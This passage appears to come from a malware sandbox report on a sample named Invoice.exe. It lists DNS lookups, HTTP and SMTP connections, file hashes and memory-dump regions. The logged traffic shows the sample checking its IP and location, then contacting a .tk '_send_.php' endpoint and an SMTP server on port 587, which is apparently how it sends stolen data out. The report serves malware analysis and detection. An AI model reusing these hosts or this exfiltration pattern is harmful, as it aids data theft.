      Server: cloudflare
      CF-RAY: 888da1ecac1960fc-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      DNS
      2.97.114.188.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      2.97.114.188.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      183.59.114.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      183.59.114.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      171.39.242.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      171.39.242.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      19.229.111.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      19.229.111.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      mail.speedhouseoman.com
      Invoice.exe
      Remote address:
      8.8.8.8:53
      Request
      mail.speedhouseoman.com
      IN A
      Response
      mail.speedhouseoman.com
      IN CNAME
      speedhouseoman.com
      speedhouseoman.com
      IN A
      149.255.62.32
    • flag-us
      DNS
      32.62.255.149.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      32.62.255.149.in-addr.arpa
      IN PTR
      Response
      32.62.255.149.in-addr.arpa
      IN PTR
      cloud801 thunderclouduk
    • flag-us
      DNS
      249.197.17.2.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      249.197.17.2.in-addr.arpa
      IN PTR
      Response
      249.197.17.2.in-addr.arpa
      IN PTR
      a2-17-197-249deploystaticakamaitechnologiescom
    • flag-us
      DNS
      43.58.199.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      43.58.199.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      tse1.mm.bing.net
      Remote address:
      8.8.8.8:53
      Request
      tse1.mm.bing.net
      IN A
      Response
      tse1.mm.bing.net
      IN CNAME
      mm-mm.bing.net.trafficmanager.net
      mm-mm.bing.net.trafficmanager.net
      IN CNAME
      dual-a-0001.a-msedge.net
      dual-a-0001.a-msedge.net
      IN A
      204.79.197.200
      dual-a-0001.a-msedge.net
      IN A
      13.107.21.200
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239360931611_1SOG5TNNJKE1WH1R0&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
      Remote address:
      204.79.197.200:443
      Request
      GET /th?id=OADD2.10239360931611_1SOG5TNNJKE1WH1R0&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 621794
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 629D3C16577945F79AA89BE433D0AD94 Ref B: LON04EDGE0715 Ref C: 2024-05-24T13:30:30Z
      date: Fri, 24 May 2024 13:30:30 GMT
    • flag-us
      GET
      https://tse1.mm.bing.net/th?id=OADD2.10239360931612_153L2SVWUYAQUME4E&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
      Remote address:
      204.79.197.200:443
      Request
      GET /th?id=OADD2.10239360931612_153L2SVWUYAQUME4E&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
      host: tse1.mm.bing.net
      accept: */*
      accept-encoding: gzip, deflate, br
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
      Response
      HTTP/2.0 200
      cache-control: public, max-age=2592000
      content-length: 659775
      content-type: image/jpeg
      x-cache: TCP_HIT
      access-control-allow-origin: *
      access-control-allow-headers: *
      access-control-allow-methods: GET, POST, OPTIONS
      timing-allow-origin: *
      report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}
      nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
      accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
      x-msedge-ref: Ref A: 72CE93772F004EBFBAFE3056A5317A36 Ref B: LON04EDGE0715 Ref C: 2024-05-24T13:30:30Z
      date: Fri, 24 May 2024 13:30:30 GMT
    • 204.79.197.237:443
      https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid=
      tls, http2
      2.0kB
       9.2kB
       22
      19

      HTTP Request

      GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid=

      HTTP Response

      204

      HTTP Request

      GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid=

      HTTP Response

      204

      HTTP Request

      GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=4198041aef6147739f46dd8e772af064&localId=w:59244BCC-88B7-85EB-8DCD-EAE142591B00&deviceId=6896201178070400&anid=

      HTTP Response

      204
    • 23.62.61.194:443
      https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90
      tls, http2
      1.5kB
       6.4kB
       17
      12

      HTTP Request

      GET https://www.bing.com/th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90

      HTTP Response

      200
    • 132.226.247.73:80
      http://checkip.dyndns.org/
      http
      Invoice.exe
      1.9kB
       3.4kB
       16
      13

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200
    • 104.21.67.152:443
      https://reallyfreegeoip.org/xml/191.101.209.39
      tls, http
      Invoice.exe
      2.1kB
       15.0kB
       24
      24

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/191.101.209.39

      HTTP Response

      200
    • 188.114.97.2:443
      https://scratchdreams.tk/_send_.php?TS
      tls, http
      Invoice.exe
      735 B
       6.0kB
       8
      9

      HTTP Request

      GET https://scratchdreams.tk/_send_.php?TS

      HTTP Response

      522
    • 149.255.62.32:587
      mail.speedhouseoman.com
      smtp-submission
      Invoice.exe
      2.3kB
       5.0kB
       18
      19
    • 204.79.197.200:443
      https://tse1.mm.bing.net/th?id=OADD2.10239360931612_153L2SVWUYAQUME4E&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
      tls, http2
      45.5kB
       1.3MB
       969
      965

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239360931611_1SOG5TNNJKE1WH1R0&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

      HTTP Request

      GET https://tse1.mm.bing.net/th?id=OADD2.10239360931612_153L2SVWUYAQUME4E&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

      HTTP Response

      200

      HTTP Response

      200
    • 204.79.197.200:443
      tse1.mm.bing.net
      tls, http2
      1.2kB
       8.1kB
       16
      14
    • 8.8.8.8:53
      8.8.8.8.in-addr.arpa
      dns
      132 B
       90 B
       2
      1

      DNS Request

      8.8.8.8.in-addr.arpa

      DNS Request

      8.8.8.8.in-addr.arpa

    • 8.8.8.8:53
      g.bing.com
      dns
      56 B
       151 B
       1
      1

      DNS Request

      g.bing.com

      DNS Response

      204.79.197.237
      13.107.21.237

    • 8.8.8.8:53
      237.197.79.204.in-addr.arpa
      dns
      73 B
       143 B
       1
      1

      DNS Request

      237.197.79.204.in-addr.arpa

    • 8.8.8.8:53
      172.210.232.199.in-addr.arpa
      dns
      74 B
       128 B
       1
      1

      DNS Request

      172.210.232.199.in-addr.arpa

    • 8.8.8.8:53
      17.160.190.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      17.160.190.20.in-addr.arpa

    • 8.8.8.8:53
      232.168.11.51.in-addr.arpa
      dns
      216 B
       158 B
       3
      1

      DNS Request

      232.168.11.51.in-addr.arpa

      DNS Request

      232.168.11.51.in-addr.arpa

      DNS Request

      232.168.11.51.in-addr.arpa

    • 8.8.8.8:53
      26.35.223.20.in-addr.arpa
      dns
      213 B
       157 B
       3
      1

      DNS Request

      26.35.223.20.in-addr.arpa

      DNS Request

      26.35.223.20.in-addr.arpa

      DNS Request

      26.35.223.20.in-addr.arpa

    • 8.8.8.8:53
      194.61.62.23.in-addr.arpa
      dns
      71 B
       135 B
       1
      1

      DNS Request

      194.61.62.23.in-addr.arpa

    • 8.8.8.8:53
      13.86.106.20.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      13.86.106.20.in-addr.arpa

    • 8.8.8.8:53
      checkip.dyndns.org
      dns
      Invoice.exe
      64 B
       176 B
       1
      1

      DNS Request

      checkip.dyndns.org

      DNS Response

      132.226.247.73
      193.122.130.0
      158.101.44.242
      132.226.8.169
      193.122.6.168

    • 8.8.8.8:53
      73.247.226.132.in-addr.arpa
      dns
      73 B
       158 B
       1
      1

      DNS Request

      73.247.226.132.in-addr.arpa

    • 8.8.8.8:53
      reallyfreegeoip.org
      dns
      Invoice.exe
      65 B
       97 B
       1
      1

      DNS Request

      reallyfreegeoip.org

      DNS Response

      104.21.67.152
      172.67.177.134

    • 8.8.8.8:53
      152.67.21.104.in-addr.arpa
      dns
      72 B
       134 B
       1
      1

      DNS Request

      152.67.21.104.in-addr.arpa

    • 8.8.8.8:53
      scratchdreams.tk
      dns
      Invoice.exe
      62 B
       94 B
       1
      1

      DNS Request

      scratchdreams.tk

      DNS Response

      188.114.97.2
      188.114.96.2

    • 8.8.8.8:53
      2.97.114.188.in-addr.arpa
      dns
      71 B
       133 B
       1
      1

      DNS Request

      2.97.114.188.in-addr.arpa

    • 8.8.8.8:53
      183.59.114.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      183.59.114.20.in-addr.arpa

    • 8.8.8.8:53
      171.39.242.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      171.39.242.20.in-addr.arpa

    • 8.8.8.8:53
      19.229.111.52.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      19.229.111.52.in-addr.arpa

    • 8.8.8.8:53
      mail.speedhouseoman.com
      dns
      Invoice.exe
      69 B
       99 B
       1
      1

      DNS Request

      mail.speedhouseoman.com

      DNS Response

      149.255.62.32

    • 8.8.8.8:53
      32.62.255.149.in-addr.arpa
      dns
      72 B
       110 B
       1
      1

      DNS Request

      32.62.255.149.in-addr.arpa

    • 8.8.8.8:53
      249.197.17.2.in-addr.arpa
      dns
      71 B
       135 B
       1
      1

      DNS Request

      249.197.17.2.in-addr.arpa

    • 8.8.8.8:53
      43.58.199.20.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      43.58.199.20.in-addr.arpa

    • 8.8.8.8:53
      tse1.mm.bing.net
      dns
      62 B
       173 B
       1
      1

      DNS Request

      tse1.mm.bing.net

      DNS Response

      204.79.197.200
      13.107.21.200

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2pninq33.w0r.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\tmp12B8.tmp
      Filesize

      1KB

      MD5

      fcf8bb331a981bf080e84a1b66f4898f

      SHA1

      b0b4b501ce96c0721418864d57e20b0eb081918e

      SHA256

      13bd24a917cc70f19243f942e8a63c4c6747b890c72479779f16811dd9f58871

      SHA512

      5e1f2831856b5574d2c86cc51f67e81d8599893df68cf725185b3c64c46a6a30a266315dd8b47c1c6c646d6623fb6f9cff6d213f9fe630fb6ce8376e9bc8cc22

      Download Submit

    • memory/1060-10-0x0000000009100000-0x000000000919C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/1060-0-0x000000007500E000-0x000000007500F000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1060-4-0x0000000005510000-0x000000000551A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/1060-5-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1060-6-0x0000000005870000-0x00000000058F6000-memory.dmp

      Filesize

      536KB

      Download

    • memory/1060-7-0x00000000067C0000-0x00000000067DA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/1060-8-0x0000000005650000-0x0000000005660000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1060-9-0x0000000006A70000-0x0000000006AD8000-memory.dmp

      Filesize

      416KB

      Download

    • memory/1060-1-0x00000000009F0000-0x0000000000A80000-memory.dmp

      Filesize

      576KB

      Download

    • memory/1060-3-0x0000000005460000-0x00000000054F2000-memory.dmp

      Filesize

      584KB

      Download

    • memory/1060-24-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1060-2-0x0000000005910000-0x0000000005EB4000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/1360-68-0x0000000006810000-0x00000000069D2000-memory.dmp

      Filesize

      1.8MB

      Download

    • memory/1360-67-0x00000000065F0000-0x0000000006640000-memory.dmp

      Filesize

      320KB

      Download

    • memory/1360-66-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1360-21-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

      Download

    • memory/1360-69-0x0000000006F10000-0x000000000743C000-memory.dmp

      Filesize

      5.2MB

      Download

    • memory/1360-23-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1360-28-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4388-15-0x0000000002EB0000-0x0000000002EE6000-memory.dmp

      Filesize

      216KB

      Download

    • memory/4388-56-0x0000000007B30000-0x0000000007B3A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/4388-27-0x0000000006130000-0x0000000006196000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4388-25-0x0000000006020000-0x0000000006042000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4388-38-0x00000000061A0000-0x00000000064F4000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/4388-39-0x0000000006770000-0x000000000678E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4388-40-0x00000000067B0000-0x00000000067FC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4388-42-0x0000000070A30000-0x0000000070A7C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4388-41-0x0000000007730000-0x0000000007762000-memory.dmp

      Filesize

      200KB

      Download

    • memory/4388-52-0x0000000006D50000-0x0000000006D6E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4388-53-0x0000000007980000-0x0000000007A23000-memory.dmp

      Filesize

      652KB

      Download

    • memory/4388-54-0x0000000008100000-0x000000000877A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/4388-55-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/4388-26-0x00000000060C0000-0x0000000006126000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4388-57-0x0000000007D40000-0x0000000007DD6000-memory.dmp

      Filesize

      600KB

      Download

    • memory/4388-58-0x0000000007CC0000-0x0000000007CD1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/4388-59-0x0000000007CF0000-0x0000000007CFE000-memory.dmp

      Filesize

      56KB

      Download

    • memory/4388-60-0x0000000007D00000-0x0000000007D14000-memory.dmp

      Filesize

      80KB

      Download

    • memory/4388-61-0x0000000007E00000-0x0000000007E1A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/4388-62-0x0000000007DE0000-0x0000000007DE8000-memory.dmp

      Filesize

      32KB

      Download

    • memory/4388-65-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4388-20-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4388-18-0x00000000059C0000-0x0000000005FE8000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/4388-19-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4388-17-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.